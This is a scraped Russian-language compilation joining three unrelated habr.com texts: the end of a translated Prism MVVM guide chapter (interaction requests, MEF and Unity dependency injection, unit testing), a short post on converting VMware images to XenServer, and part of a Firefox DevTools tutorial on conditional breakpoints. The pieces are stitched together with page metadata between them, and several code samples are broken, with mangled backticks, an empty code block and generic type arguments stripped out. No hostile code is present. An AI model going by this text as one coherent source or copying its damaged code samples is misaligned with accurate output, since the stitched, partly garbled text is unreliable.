*MVVM RI* показывает пример того, как использовать интерфейс службы, основанный на `IAsyncResult` , подобный предыдущим примерам. В нём также производится обертка службы, чтобы предоставить более простой механизм обратного вызова и для обработки диспетчеризации обратного вызова в поток вызывающей стороны. Например, следующий пример кода показывает извлечение анкетного опроса.
```
this.questionnaireRepository.GetQuestionnaireAsync(
result => {
this.Questionnaire = result.Result;
});
```
Объект `result` возвращает обертку результата, полученную в дополнение к ошибкам, которые, возможно, произошли. Следующий пример кода показывает, как ошибки могут быть обработаны.
```
this.questionnaireRepository.GetQuestionnaireAsync(
result => {
if (result.Error == null) {
this.Questionnaire = result.Result;
...
}
else {
// Handle error.
}
})
```
### Паттерны взаимодействия с пользователем
Часто приложение должно уведомить пользователя о возникновении события, или спросить подтверждение перед продолжением работы. Эти взаимодействия часто являются краткими, разработанными, чтобы просто сообщить об изменении в приложении или получить простой ответ от пользователя. Некоторые из этих взаимодействий могут быть модальными пользователю, например диалоговое окно или окно сообщения, или они могут быть немодальными, например уведомление или всплывающее окно.
Есть разнообразные способы взаимодействовать с пользователем в этих случаях, но реализация их в стиле MVVM, которая сохраняет чистое разделение ответственности, может быть сложной. Например, в не-MVVM приложении, вы использовали бы класс `MessageBox` в файле code-behind UI, чтобы просто запросить у пользователя ответ. В приложении MVVM это будет не очень правильным, так как нарушает разделение ответственности между представлением и моделью представления.
С точки зрения паттерна MVVM, модель представления ответственна за инициирование взаимодействия с пользователем и за получение и обработку ответа, в то время как представление ответственно за взаимодействие с пользователем. Сохранение разделения ответственности между логикой представления, реализованной в модели представления, и пользовательским интерфейсом, реализованным представлением, помогает улучшить тестируемость и гибкость.
Есть два общих подхода к реализации таких видов взаимодействия с пользователем в паттерне MVVM. Один подход заключается в реализации службы, которая может использоваться моделью представления, чтобы инициировать взаимодействие с пользователем, таким образом, сохраняя независимость от реализации представления. Другой подход использует события, генерируемые моделью представления для выражения намерения взаимодействовать с пользователем, наряду с компонентами в представлении, которые связываются с этими событиями и управляют визуальными аспектами взаимодействия. Оба этих подхода описываются в следующих разделах.
#### Использование службы взаимодействия
В этом подходе модель представления полагается на компонент службы взаимодействия для инициирования взаимодействия с пользователем через окно сообщения. Этот подход предоставляет чистое разделение ответственности и тестируемость, инкапсулируя визуальную реализацию взаимодействия в отдельном компоненте службы. Как правило, у модели представления есть зависимость от интерфейса службы взаимодействия. Это зачастую достигается через внедрение зависимости или локатор служб.
После того, как у модели представления есть ссылка на службу взаимодействия, она может программно запросить взаимодействие с пользователем всякий раз, когда необходимый. Служба взаимодействия реализует визуальные аспекты взаимодействия, как показано на следующей иллюстрации. Использование ссылки на интерфейс в модели представления позволяет использовать различные реализации, в зависимости от требований реализации пользовательского интерфейса. Например, могут быть предоставлены реализации службы взаимодействия для WPF и Silverlight, что позволит увеличить повторное использование логики представления приложения.
Модальные взаимодействия, такие как `MessageBox` или модальное всплывающее окно для получения определённого ответа, могут быть реализованы синхронным способом, используя вызов блокирующего метода, как показано в следующем примере.
```
var result =
interactionService.ShowMessageBox(
"Are you sure you want to cancel this operation?",
"Confirm",
MessageBoxButton.OK);
if (result == MessageBoxResult.Yes) {
CancelRequest();
}
```
Однако, один из недостатков этого подхода - то, что он использует модель синхронного программирования, которая не совместима с другими механизмами взаимодействия в Silverlight. Это может привести к многочисленным трудностям реализации службы взаимодействия. Альтернативная асинхронная реализация позволяет модели представления обеспечить обратный вызов для обработки завершения взаимодействия. Следующий код иллюстрирует этот подход.
```
interactionService.ShowMessageBox(
"Are you sure you want to cancel this operation?",
"Confirm",
MessageBoxButton.OK,
result => {
if (result == MessageBoxResult.Yes) {
CancelRequest();
}
});
```
Асинхронный подход обеспечивает большую гибкость при реализации службы взаимодействия, позволяя создавать модальные и немодальные взаимодействия. Например, в WPF может использоваться класс `MessageBox` , чтобы реализовать действительно модальное взаимодействие с пользователем; тогда как в Silverlight всплывающее окно может использоваться, чтобы реализовать псевдомодальное взаимодействие.
#### Использование объектов запроса взаимодействия
Другой подход к реализации простого взаимодействия с пользователем – позволение модели представления обращаться с запросом взаимодействия непосредственно к представлению через объект запроса. Объект запроса взаимодействия инкапсулирует детали запроса и его ответ, и связывается с представлением через события. Представление подписывается на эти события, чтобы инициировать пользовательскую часть взаимодействия. Представление будет обычно инкапсулировать пользовательское взаимодействие в поведении, которое связывается с данными к объекту запроса взаимодействия, предоставленному моделью представления, как показано на следующей иллюстрации.
Этот подход обеспечивает простой, но гибкий механизм, который сохраняет чистое разделение между моделью представления и представлением – это позволяет модели представления инкапсулировать логику представления, включая любое необходимое взаимодействие с пользователем, а представлению – полностью инкапсулировать визуальные аспекты взаимодействия. Реализация модели представления, включая ее ожидаемые взаимодействия с пользователем посредством представления, может быть легко протестирована, и у разработчика UI есть большой выбор реализации взаимодействия в пределах представления через использование различных поведений.
Этот подход является непротиворечивым с паттерном MVVM, позволяя представлению отражать изменения состояния, за которыми оно наблюдает в модели представления, и использовать двухстороннюю привязку для передачи данных между ними. Инкапсуляция не визуальных элементов взаимодействия в объекте запроса взаимодействия, и использование соответствующего поведения для управления визуальными элементами, очень подобны объектам команды, и объектам поведения.
Библиотека Prism непосредственно поддерживает этот паттерн через интерфейс `IInteractionRequest` и класс ``InteractionRequest . Интерфейс IInteractionRequest` определяет событие, чтобы инициировать взаимодействие. Поведения в представлении связываются с этим интерфейсом и подписываются на событие, которое он представляет. Класс ``InteractionRequest реализует интерфейс IInteractionRequest` и определяет два метода `Raise` , чтобы позволить модели представления инициировать взаимодействия и для определения контекста запроса, и, дополнительно, делегата обратного вызова.
##### Инициирование запросов взаимодействия от модели представления
Класс ``InteractionRequest координирует взаимодействие модели представления с представлением во время запроса взаимодействия. Метод Raise` позволяет модели представления инициировать взаимодействие и определять объект контекста (типа `T` ) и метод обратного вызова, который вызывают после того, как взаимодействие завершается. Объект контекста позволяет модели представления передавать данные и состояние представлению, для использования во время взаимодействия с пользователем. Если метод обратного вызова был определен, объект контекста будет передаваться обратно в модель представления. Это позволяет любым изменениям, сделанными пользователем, быть переданными в модель представления.
```
public interface IInteractionRequest {
event EventHandler Raised;
}
public class InteractionRequest : IInteractionRequest {
public event EventHandler Raised;
public void Raise(T context, Action callback) {
var handler = this.Raised;
if (handler != null) {
handler(
this,
new InteractionRequestedEventArgs(context, () => callback(context)));
}
}
}
```
Prism предоставляет предопределённые классы контекста, которые поддерживают общие сценарии запроса взаимодействия. Класс `Notification` является базовым классом для всех объектов контекста. Он нужен в случае, когда запрос взаимодействия используется для уведомления пользователя о важном событии в приложении. Он имеет два свойства – `Title` и `Content` , которые будет показаны пользователю. Как правило, уведомления являются односторонними, таким образом, не ожидается, что пользователь изменит эти значения во время взаимодействия.
Класс `Confirmation` наследуется от класса `Notification` и добавляет третье свойство – `Confirmed` , которое используется, чтобы показать, что пользователь подтвердил или отменил запрос. Класс `Confirmation` используется, чтобы реализовать взаимодействия стиля `MessageBox` , где необходимо получить ответ да/нет от пользователя. Можно определить пользовательский класс контекста, который наследуется от класса `Notification` , для инкапсуляции данных и состояний, которые необходимы для взаимодействия с пользователем.
Чтобы использовать класс ```InteractionRequest , класс модели представления должен создать экземпляр InteractionRequest и определить свойство только для чтения, чтобы позволить представлению связаться с ним. Когда модель представления захочет инициировать запрос, она вызовет метод Raise` , передавая объект контекста и, дополнительно, делегат обратного вызова.
```
public IInteractionRequest ConfirmCancelInteractionRequest {
get {
return this.confirmCancelInteractionRequest;
}
}
this.confirmCancelInteractionRequest.Raise(
new Confirmation("Are you sure you wish to cancel?"),
confirmation => {
if (confirmation.Confirmed) {
this.NavigateToQuestionnaireList();
}
});
}
```
*MVVM Reference Implementation (MVVM RI)* иллюстрирует, как используются интерфейс `IInteractionRequest` и класс ``InteractionRequest , чтобы реализовать взаимодействие модели представления и представления в приложении (см. QuestionnaireViewModel.cs` ).
##### Использование поведений для реализации взаимодействия с пользователем
Поскольку объект запроса взаимодействия представляет логическое взаимодействие, точный интерфейс для взаимодействия определяется в представлении. Поведения часто используются, чтобы инкапсулировать внешний вид взаимодействия с пользователем. Это позволяет разработчику UI выбирать соответствующее поведение и связывать его с объектом запроса взаимодействия в модели представления.
Представление должно быть настроено для обнаружения события запроса взаимодействия и предоставления соответствующего визуального представления для запроса. Microsoft Expression Blend Behaviors Framework поддерживает понятие триггеров и действий. Триггеры используются, чтобы инициировать действия всякий раз, когда определённое событие случается.
Стандартный `EventTrigger` , предоставленный Expression Blend, может использоваться, чтобы следить за событием запроса взаимодействия, связываясь с объектами запроса взаимодействия, представленными моделью представления. Однако, Prism определяет пользовательский `EventTrigger` , названный `InteractionRequestTrigger` , который автоматически соединяется с соответствующим `Raised` событием интерфейса `IInteractionRequest` . Это уменьшает количество XAML и уменьшает шанс непреднамеренного введения неправильного имени события.
После того, как событие генерируется, `InteractionRequestTrigger` вызовет указанное действие. Для Silverlight Prism предоставляет класс `PopupChildWindowAction` , который показывает всплывающее окно пользователю. Когда дочернее окно показывается, его контекст данных устанавливается в параметр контекста запроса взаимодействия. Используя свойство `ContentTemplate` класса `PopupChildWindowAction` , можно задать шаблон данных, чтобы определить разметку UI, которая будет использоваться для свойства `Content` объекта контекста. Заголовок всплывающего окна связывается со свойством `Title` объекта контекста.
> **Заметка**
>
> По умолчанию, определенный тип всплывающего окна, показанного классом `PopupChildWindowAction` , зависит от типа объекта контекста. Для объекта контекста `Notification` показывается `NotificationChildWindow` , в то время как для объекта контекста `Confirmation` – `ConfirmationChildWindow` . `NotificationChildWindow` показывает простое всплывающее окно, чтобы показать уведомление, в то время как `ConfirmationChildWindow` также содержит кнопки *OK* и *Cancel*, для получения ответа пользователя. Можно переопределить это поведение, определяя всплывающее окно, используя свойство `ChildWindow` класса `PopupChildWindowAction` .
Следующий пример показывает, как `InteractionRequestTrigger` и `PopupChildWindowAction` используются, чтобы показать всплывающее окно подтверждения в *RI MVVM*.
```
```
> **Заметка**
>
> Шаблон данных задаётся через свойство `ContentTemplate` , определяя разметку UI для свойства `Content` объекта контекста. В коде свойство `Content` является строкой, таким образом, `TextBlock` просто связывается со свойством `Content` непосредственно.
Поскольку пользователь взаимодействует со всплывающим окном, объект контекста обновляется согласно привязке, определённой во всплывающем окне, или в шаблоне данных. После того, как пользователь закрывает всплывающее окно, объект контекста передаётся назад к модели представления, наряду с любыми обновленными значениями, через метод обратного вызова. В примере подтверждения, используемом в *RI MVVM*, представление подтверждения по умолчанию ответственно за установку свойства `Confirmed` на предоставленном объекте `Confirmation` в `true` , когда щёлкают по кнопке OK.
Также могут быть определены различные триггеры и действия, для поддержки других механизмов взаимодействия. Реализация Prism `InteractionRequestTrigger` и класса `PopupChildWindowAction` может использоваться в качестве основания для разработки ваших собственных триггеров и действий.
### Продвинутое создание и настройка
Чтобы успешно реализовать паттерн MVVM, вы должны будете полностью понять обязанности представления, модели, и модели представления так, чтобы можно было поместить код приложения в корректных классах. Реализация корректных паттернов позволит этим классам взаимодействовать (посредством привязки данных, команд, запросов взаимодействия, и так далее). Заключительным шагом будет рассмотрение, как представление, модель представления, и классы модели создаются и связываются друг с другом во время выполнения.
Выбор правильной стратегии на этом шаге особенно важен, если вы используете контейнер внедрения зависимости в своём приложении. Managed Extensibility Framework (MEF) и Unity Application Block (Unity) предоставляют возможность определить зависимости между представлением, моделью представления, и классами модели и разрешить их в контейнере во время выполнения.
Как правило, вы определяете модель представления как зависимость представления, так, чтобы, когда представление создаётся (используя контейнер) оно автоматически создаёт необходимые модели представления. Поочерёдно, контейнер также создаёт любые компоненты или службы, от которых зависит модель представления. После того, как модель представления успешно создана, представление устанавливает её как свой контекст данных.
#### Создание модели представления и представления, используя MEF
Используя MEF, можно определить зависимость представления от модели представления, используя атрибут `Import` , и определить конкретный тип модели представления, который создаётся, через атрибут `Export` . Можно также импортировать модель представления в представление через свойство, или как параметр конструктора.
Например, `QuestionnaireView` в представлении *RI MVVM*, объявлено свойство только для записи для модели представления, вместе с атрибутом `Import` . Когда представление создаётся, MEF создаёт экземпляр соответствующей экспортируемой модели представления и устанавливает значение этого свойства. Метод `set` свойства присваивает модель представления как контекст данных представления, как показано ниже.
```
[Import]
public QuestionnaireViewModel ViewModel {
set { this.DataContext = value; }
}
```
Модель представления определяется и экспортируется, как показано ниже.
```
[Export]
public class QuestionnaireViewModel : NotificationObject {
...
}
```
Альтернативным подходом является определение конструктора импорта в представлении, как показано ниже.
```
public QuestionnaireView() {
InitializeComponent();
}
[ImportingConstructor]
public QuestionnaireView(QuestionnaireViewModel viewModel) : this() {
this.DataContext = viewModel;
}
```
> **Заметка**
>
> Можно использовать инжекцию свойства или инжекцию конструктора и в MEF, и в Unity. Однако можно предположить, что инжекция свойства более проста, потому что вы не должны создавать два конструктора. Инструменты времени проектирования, такие как Visual Studio и Expression Blend, требуют, чтобы у элементов управления был конструктор без параметров, чтобы показать их в дизайнере. Любые дополнительные конструкторы, которые вы определяете, должны гарантировать, что конструктор по умолчанию будет вызван, чтобы представление могло быть должным образом инициализировано через метод `InitializeComponent` .
#### Создание модели представления и представления, используя Unity
Использование Unity, как контейнера внедрения зависимости, подобно использованию MEF. Поддерживается как основанная на свойствах, так и основанная на конструкторе инжекция. Основная разница в том, что типы обычно не обнаруживаются неявно во время выполнения. Вместо этого, они должны быть зарегистрированы в контейнере.
Как правило, вы определяете интерфейс в модели представления, таким образом, конкретный тип модели представления может быть отделён от представления. Например, представление может определить свою зависимость от модели представления через параметр конструктора, как показано ниже.
```
public QuestionnaireView() {
InitializeComponent();
}
public QuestionnaireView(QuestionnaireViewModel viewModel) : this() {
this.DataContext = viewModel;
}
```
> **Заметка**
>
> Конструктор без параметров необходим, чтобы позволить представлению работать в инструментах времени проектирования, таких как Visual Studio и Expression Blend.
Как альтернатива, можно определить свойство модели представления только для записи в представлении, как показано ниже. Unity создаёт необходимую модель представления и вызовет метод `set` свойства после того, как представление создаётся.
```
public QuestionnaireView() {
InitializeComponent();
}
[Dependency]
public QuestionnaireViewModel ViewModel {
set { this.DataContext = value; }
}
```
Тип модели представления регистрируется в контейнере Unity.
```
container.RegisterType();
```
После этого, представление можно создать через контейнер.
```
var view = container.Resolve();
```
### Создание модели представления и представления, используя внешний класс
Может быть полезным, определить контроллер или класс службы, чтобы скоординировать создание классов модели представления и представления. Этот подход может использоваться с контейнером внедрения зависимости, таким как MEF или Unity, или когда представление явно создаёт необходимую модель представления.
Этот подход особенно полезен при реализации навигации в вашем приложении. В этом случае, контроллер связывается с элементом заполнителя или регионом в UI, и координирует создание и размещение представлений в этом заполнителе или регионе.
Например, *RI MVVM* использует класс службы, чтобы создать представления, используя контейнер и показать их на главной странице. В этом примере, представления определяются именами представления. Навигация инициируется через вызов метода `ShowView` в службе UI.
```
private void NavigateToQuestionnaireList() {
// Попросить сервис показать представление "questionnaire list".
this.uiService.ShowView(ViewNames.QuestionnaireTemplatesList);
}
```
Служба UI ассоциируется с элементом заполнителем в UI приложения. Она инкапсулирует создание необходимого представления и координирует его появление в UI. Метод `ShowView` в `UIService` создаёт экземпляр представления через контейнер (так, чтобы его модель представления и другие зависимости могли быть разрешены), и затем показывает его в надлежащем месте, как показано ниже.
```
public void ShowView(string viewName) {
var view = this.ViewFactory.GetView(viewName);
this.MainWindow.CurrentView = view;
}
```
> **Заметка**
>
> Prism предоставляет обширную поддержку навигации с использованием регионов. Навигация использует механизм, подобный предыдущему подходу, за исключением того, что менеджер регионов ответственен за координирование создания и размещения представления в определенном регионе. Для получения дополнительной информации, смотрите раздел, "[View-Based Navigation](http://msdn.microsoft.com/en-us/library/gg430861(v=PandP.40).aspx#ViewBasedNavigation)" в Главе 8, "[Navigation](http://msdn.microsoft.com/en-us/library/gg430861(v=PandP.40).aspx)".
### Тестирование MVVM приложений
Тестирование моделей и моделей представления из приложений MVVM похоже на тестирование любых других классов. Могут быть использованы и те же самые инструменты и методы - такие как поблочное тестирование и mocking платформы. Однако, есть некоторые паттерны, применяемые при тестировании классов моделей и моделей представления.
#### Тестирование реализаций *INotifyPropertyChanged*
Реализация интерфейса `INotifyPropertyChanged` позволяет представлениям реагировать на изменения, порождённые в моделях представления и моделях. Эти изменения не ограничиваются доменными данными, показываемыми в элементах управления; они также используются, чтобы управлять представлением, как состояния модели представления определяют, какая анимация должна научатся, или какой элемент управления должен быть отключён.
##### Простые случаи
Свойства, которые могут быть обновлены непосредственно тестовым кодом, могут быть протестированы с помощью присоединения обработчика событий к событию `PropertyChanged` и проверки, генерируется ли событие после установки нового значения для свойства. Классы помощников, такие как класс `ChangeTracker` , используемый в демонстрационных проектах MVVM, могут использоваться, чтобы присоединить обработчик и собрать результаты. Это предотвращает дублирование при записи тестов. Следующий пример кода показывает тест, использующий этот класс помощника.
```
var changeTracker = new PropertyChangeTracker(viewModel);
viewModel.CurrentState = "newState";
CollectionAssert.Contains(changeTracker.ChangedProperties, "CurrentState");
```
Свойства, которые являются результатом генерации кода, который гарантирует реализацию интерфейса `INotifyPropertyChanged` , такие как в коде, сгенерированном дизайнером модели, обычно не нуждаются в тестировании.
##### Вычисленные и не устанавливаемые свойства
Когда свойства не могут быть установлены тестовым кодом, такие как свойства, с приватными методами `set` или расчётные свойства только для чтения, тестовый код должен стимулировать объект изменить это свойство и сгенерировать уведомление. Однако, структура теста является такой же, как в более простых случаев, что показано в следующем примере кода, где изменение в модели заставляют свойство в модели представления измениться.
```
var changeTracker = new PropertyChangeTracker(viewModel);
var question = viewModel.Questions.First() as OpenQuestionViewModel;
question.Question.Response = "some text";
CollectionAssert.Contains(changeTracker.ChangedProperties, "UnansweredQuestions");
```
##### Уведомления об изменении всех свойств
Когда вы реализуете интерфейс `INotifyPropertyChanged` , для объекта позволяется сгенерировать событие `PropertyChanged` с нулевой или пустой строкой названия изменённого свойства, чтобы указать, что все свойства в объекте, возможно, изменились. Эти случаи могут быть протестированы точно так же, как случаи уведомления об изменении одиночного свойства.
#### Тестирование реализаций *INotifyDataErrorInfo*
Есть несколько механизмов, позволяющих привязке выполнить валидацию ввода, такие как выдача исключений, при установки свойства, реализация интерфейса `IDataErrorInfo` , и (в Silverlight) реализация интерфейса `INotifyDataErrorInfo` . Реализация интерфейса `INotifyDataErrorInfo` предоставляет большую гибкость, потому что он поддерживает указание нескольких ошибок на свойство, асинхронное и перекрёстную валидацию, но и, с другой стороны, также требует большего тестирования.
Есть два аспекта в тестировании реализаций `INotifyDataErrorInfo` : тестирование, что правила валидации реализуются правильно, и тестирование, что требования для реализаций интерфейса, таких как генерирование события `ErrorsChanged` , когда изменяется результат вызова метода `GetErrors` , удовлетворяются.
#### Тестирование правил валидации
Логику валидации обычно просто протестировать, потому что обычно это автономный процесс, где вывод зависит от ввода. Для каждого свойства со связанными правилами валидации, должны быть проведены тесты на результат вызова метода `GetErrors` с именем проверяемого свойства для допустимых значений, недопустимых значений, граничных значений, и так далее. Если логика валидации разделена, как, к примеру, при использовании атрибутов валидации данных, тесты могут быть сконцентрированы на разделённой логике валидации. С другой стороны, пользовательские правила проверки допустимости должны быть полностью протестированы.
```
// Недопустимый случай.
var notifyErrorInfo = (INotifyDataErrorInfo)question;
question.Response = -15;
Assert.IsTrue(notifyErrorInfo.GetErrors("Response").Cast().Any());
// Допустимый случай.
var notifyErrorInfo = (INotifyDataErrorInfo)question;
question.Response = 15;
Assert.IsFalse(notifyErrorInfo.GetErrors("Response").Cast().Any());
```
Правила валидации перекрёстных свойств, проверяются таким же образом, но обычно требуя больше тестов для покрытия всех комбинаций значений для различных свойств.
#### Тестирование требований реализаций *INotifyDataErrorInfo*
Помимо создания правильных значений для метода `GetErrors` , реализации интерфейса `INotifyDataErrorInfo` должны гарантировать, что событие `ErrorsChanged` генерируется при изменении результата вызова `GetErrors` . Дополнительно, свойство `HasErrors` должно отразить полное ошибочное состояние объекта, реализующего интерфейс.
Нет никакого определённого подхода реализации интерфейса `INotifyDataErrorInfo` . Однако, реализации, которые полагаются на объекты накапливающие ошибки валидации и выполняют необходимые уведомления, обычно предпочтительнее из-за лёгкости тестирования. При таком подходе не нужно проверять, что удовлетворяются требования для всех элементов интерфейса `INotifyDataErrorInfo` для каждого правила валидации на каждом проверенном свойстве (конечно, если объект управления обработкой ошибок должным образом тестируется).
Тестирование требований интерфейса должно включить, по крайней мере, следующие проверки:
* Свойство `HasErrors` отражает полное ошибочное состояние объекта. Установка допустимого значения для ранее недопустимого свойства не приводит к изменению для этого свойства, если у других свойств есть недопустимые значения.
* Событие `ErrorsChanged` генерируется, когда ошибочное состояние для свойства изменяется, что должно быть отражено в результате вызова метода `GetErrors` . Изменение состояния ошибок может идти от допустимого состояния (то есть, никакие ошибки) к недопустимому состоянию и наоборот, или оно может пойти от недопустимого состояния до другого недопустимого состояния. Обновлённый результат вызова `GetErrors` должен быть доступен для обработчиков события `ErrorsChanged` .
Тестируя реализации интерфейса `INotifyPropertyChanged` , классы помощников, такие как класс `NotifyDataErrorInfoTestHelper` в демонстрационных проектах MVVM, обычно облегчают написание тестов для реализаций интерфейса `INotifyDataErrorInfo` , обрабатывая повторные служебные операции и стандартные проверки. Они особенно полезны, когда интерфейс реализуется, не полагаясь на некоторого менеджера ошибок, допускающего повторное использование. Следующий пример показывает этот класс помощника.
```
var helper =
new NotifyDataErrorInfoTestHelper(
question,
q => q.Response);
helper.ValidatePropertyChange(
6,
NotifyDataErrorInfoBehavior.Nothing);
helper.ValidatePropertyChange(
20,
NotifyDataErrorInfoBehavior.FiresErrorsChanged
| NotifyDataErrorInfoBehavior.HasErrors
| NotifyDataErrorInfoBehavior.HasErrorsForProperty);
helper.ValidatePropertyChange(
null,
NotifyDataErrorInfoBehavior.FiresErrorsChanged
| NotifyDataErrorInfoBehavior.HasErrors
| NotifyDataErrorInfoBehavior.HasErrorsForProperty);
helper.ValidatePropertyChange(
2,
NotifyDataErrorInfoBehavior.FiresErrorsChanged);
```
#### Тестирование асинхронных вызовов служб
Реализовывая паттерн MVVM, модели представления обычно вызывают службы, часто асинхронно. Тесты для кода, который делает такие вызовы, обычно используют заглушки или имитации для замены этих служб.
Стандартные паттерны, используемые для реализации асинхронных операций, предоставляют различные гарантии относительно потока, в котором произойдёт уведомление о состоянии работы. Хотя асинхронный шаблон, основанный на событиях, гарантирует, что обработчики для событий вызываются в потоке, который является подходящим для приложения, шаблон разработки `IAsyncResult` не предоставляет никаких гарантии, что какие-либо изменения, влияющие на представление, вызовутся в потоке UI.
Код при параллельной обработке обычно более сложен, и, соответственно, требует более сложных тестов. Он обычно требует, чтобы сами тесты были асинхронными. Когда гарантируется, что уведомления произойдут в потоке UI, потому что используется асинхронный паттерн, основанный на событиях, или потому что модели представления полагаются на уровень доступа службы, чтобы маршалировать уведомления соответствующему потоку, тесты могут быть упрощены и играть роль "диспетчера для потока UI."
Способ использования заглушек вместо служб, зависит от асинхронного паттерна, используемого для их реализации. Если используется паттерн, основанный на вызове методов, обычно достаточно использования стандартных mock-платформ, но, если используется паттерн, основанный на событиях, то обычно предпочитают использовать пользовательский класс, который реализует методы добавления и удаления обработчиков для событий службы.
Следующий пример кода показывает тест для соответствующего уведомления в потоке UI, при завершении асинхронной работы, используя заглушки для служб. В этом примере, тестовый код получает обратный вызов, предоставленный моделью представления, когда он выполняет асинхронный вызов службы. Тогда тест моделирует завершение вызова позже в тесте, вызывая обратный вызов. Этот подход позволяет тестировать компоненты, которые используют асинхронную службу, без сложности создания асинхронных тестов.
```
questionnaireRepositoryMock
.Setup(
r =>
r.SubmitQuestionnaireAsync(
It.IsAny(),
It.IsAny>()))
.Callback>(
(q, a) => callback = a);
uiServicemock
.Setup(svc => svc.ShowView(ViewNames.QuestionnaireTemplatesList))
.Callback(viewName => requestedViewName = viewName);
submitResultMock
.Setup(sr => sr.Error)
.Returns(null);
CompleteQuestionnaire(viewModel);
viewModel.Submit();
// Изображаем метод обратного вызова в UI потоке.
callback(submitResultMock.Object);
// Проверяем ожидаемое поведение – запрос на навигацию к списку.
Assert.AreEqual(ViewNames.QuestionnaireTemplatesList, requestedViewName);
```
> **Заметка**
>
> Такой подход к тестированию проверяет только функциональные возможности тестируемых объектов, он не тестирует ориентированность кода на многопоточное исполнение.
### Дополнительная информация
Для получения дополнительной информации о логическом дереве, см. "Trees in WPF" на MSDN: <http://msdn.microsoft.com/en-us/library/ms753391.aspx>
Для получения дополнительной информации о присоединенных свойствах, см. "Attached Properties Overview" на MSDN: <http://msdn.microsoft.com/en-us/library/cc265152(VS.95).aspx>
Для получения дополнительной информации о MEF, см."Managed Extensibility Framework Overview" на MSDN: <http://msdn.microsoft.com/en-us/library/dd460648.aspx>.
Для получения дополнительной информации о Unity, см."Unity Application Block" на MSDN: <http://www.msdn.com/unity>.
Для получения дополнительной информации о `DelegateCommand` , см.Chapter 5, "[Implementing the MVVM Pattern](http://msdn.microsoft.com/en-us/library/gg405484(v=PandP.40).aspx)."
Для получения дополнительной информации об использовании поведений Microsoft Expression Blend, см."Working with built-in behaviors" на MSDN: <http://msdn.microsoft.com/en-us/library/ff724013(v=Expression.40).aspx>.
Для получения дополнительной информации о создании пользовательских поведений с Microsoft Expression Blend, см."Creating Custom Behaviors" на MSDN: <http://msdn.microsoft.com/en-us/library/ff724708(v=Expression.40).aspx>.
Для получения дополнительной информации о создании пользовательских триггеров и действий с Microsoft Expression Blend, см."Creating Custom Triggers and Actions" на MSDN: <http://msdn.microsoft.com/en-us/library/ff724707(v=Expression.40).aspx>.
Для получения дополнительной информации об использовании диспетчера в WPF и Silverlight, см."Threading Model" и "The Dispatcher Class" на MSDN: <http://msdn.microsoft.com/en-us/library/ms741870.aspx>
<http://msdn.microsoft.com/en-us/library/ms615907(v=VS.95).aspx>.
Для получения дополнительной информации о unit-тестировании в Silverlight, см."Unit Testing with Silverlight 2": <http://www.jeff.wilcox.name/2008/03/silverlight2-unit-testing/>.
Для получения дополнительной информации о навигации с использованием регионов, см. раздел "[View-Based Navigation](http://msdn.microsoft.com/en-us/library/gg430861(v=PandP.40).aspx#ViewBasedNavigation)" in Chapter 8, "[Navigation](http://msdn.microsoft.com/en-us/library/gg430861(v=PandP.40).aspx)."
Для получения дополнительной информации об асинхронном паттерне, основанном на событии, см."Event-based Asynchronous Pattern Overview" на MSDN: <http://msdn.microsoft.com/en-us/library/wewwczdw.aspx>
Для получения дополнительной информации о шаблоне разработки `IAsyncResult` , см."Asynchronous Programming Overview" на MSDN: <http://msdn.microsoft.com/en-us/library/ms228963.aspx>````````` | https://habr.com/ru/post/176869/ | null | ru | null |
# О конвертировании образа из VMWare в XenServer
В целом процедура конвертирования простая и понятная. Она [подробно и красиво описана](http://support.citrix.com/article/CTX116603) на сайте Citrix.
После нескольких недель конвертирования различных виртуальных серверов могу сделать несколько дополнений:
1. Нужно найти последнюю версию утилиты v2xva. Обычно выкладывают на [форуме поддержки](http://forums.citrix.com/category.jspa?categoryID=101). На текущий момент последняя версия — [1.3.4](http://forums.citrix.com/servlet/JiveServlet/download/511-241595-1363444-26313/v2xva-1.3.4.zip)
2. Диски скопированные из ESXi у меня почему-то отказываются конвертироваться. Зато конвертируются без проблем после преобразования из pre-allocated в growing с помощью утилиты vmware-vmdiskmanager (из VMWare Workstation):
`vmware-vdiskmanager.exe -r sourceDisk.vmdk -t 0 destinationDisk.vmdk`
3. Иногда конвертирование не хочет происходить просто без причины. Мне в таких случаях помогала команда:
`v2xva.exe /clean`
С помощью указанных плюшек на данный момент были удачно сконвертированы разные образы windows XP, 2003, 2003 64bit. На днях попробую Windows 2000 перенести. | https://habr.com/ru/post/53624/ | null | ru | null |
# Введение в отладку на примере Firefox DevTools, часть 4 из 4
[Первая часть: знакомство с отладчиком](https://habr.com/ru/post/586776/)
[Вторая часть: узнаём значение переменной без console.log](https://habr.com/ru/post/587516/)
[Третья часть: стек вызовов](https://habr.com/ru/post/588981/)
---
Точки останова с условием
-------------------------
Точки останова — мощный инструмент. Однако иногда нужно «понизить мощность». Если точка останова нужна в теле цикла или функции, которая постоянно вызывается (вроде колбэка `onscroll`), можно устать возобновлять выполнение кода. Гораздо удобнее в таком случае указать, когда именно должна сработать точка останова. Такие точки называются «Точка останова с условием».
Если вы поставите точку останова с условием, отладчик приостановит выполнение, только когда ваше условие будет истинным. То есть если указанное вами выражение вернёт `true` или что-то похожее на `true`.
Проще разбираться на примере, поэтому открывайте [наше приложение со списком дел](https://mozilladevelopers.github.io/sample-todo/03-conditional-breakpoints/) в новой вкладке (это тоже версия, специально подготовленная к статье) и возвращайтесь обратно.
[В прошлой статье](https://habr.com/ru/post/587516/) мы добавляли точку останова в функцию `addTodo`. Способ рабочий, но выполнение приостанавливалось каждый раз, когда в список добавлялась задача.
А что, если нам нужно приостановить выполнение кода только в случае, когда текст задачи содержит слово «turtle» *(англ.* «*черепаха*»*)*? Легко!
Кликните в отладчике по номеру строки (в нашем случае — это 24) **не левой, а правой кнопкой** мыши. В открывшемся меню выберите пункт «Добавить условие»:
Пункт «Добавить условие» в контекстном менюТеперь можно указать условие `title.indexOf("turtle") != -1`, когда должна сработать точка останова:
Выражение, которое должно вернуть true, чтобы выполнение кода приостановилосьМетод `indexOf()`возвращает `-1`, если искомая подстрока (в нашем случае «turtle») **не найдена**. Если подстрока **будет** **найдена**, метод вернёт значение больше или равное нулю, а значит условие `!= -1` будет истинным.
Получается, по нашему условию точка останова сработает, только если `title` содержит `"turtle"`. То есть, если текст задачи содержит слово «turtle».
Условием может быть любое выражение. При желании можно вписать даже вызов `console.log`. Да, `console.log` возвращает `undefined`, что приводится к `false`, а значит точка останова никогда не сработает. Но функция будет вызвана! И сообщение попадёт в консоль. Давайте попробуем.
Добавьте там же в отладчике точку останова с условием на 68-й строке, сразу после объявления переменной `index`, а вместо условия введите `console.log(items[index].title)`:
Добавляем вместо условия вызов console.logТеперь на каждое удаление задачи из списка её текст будет выводится в консоль:
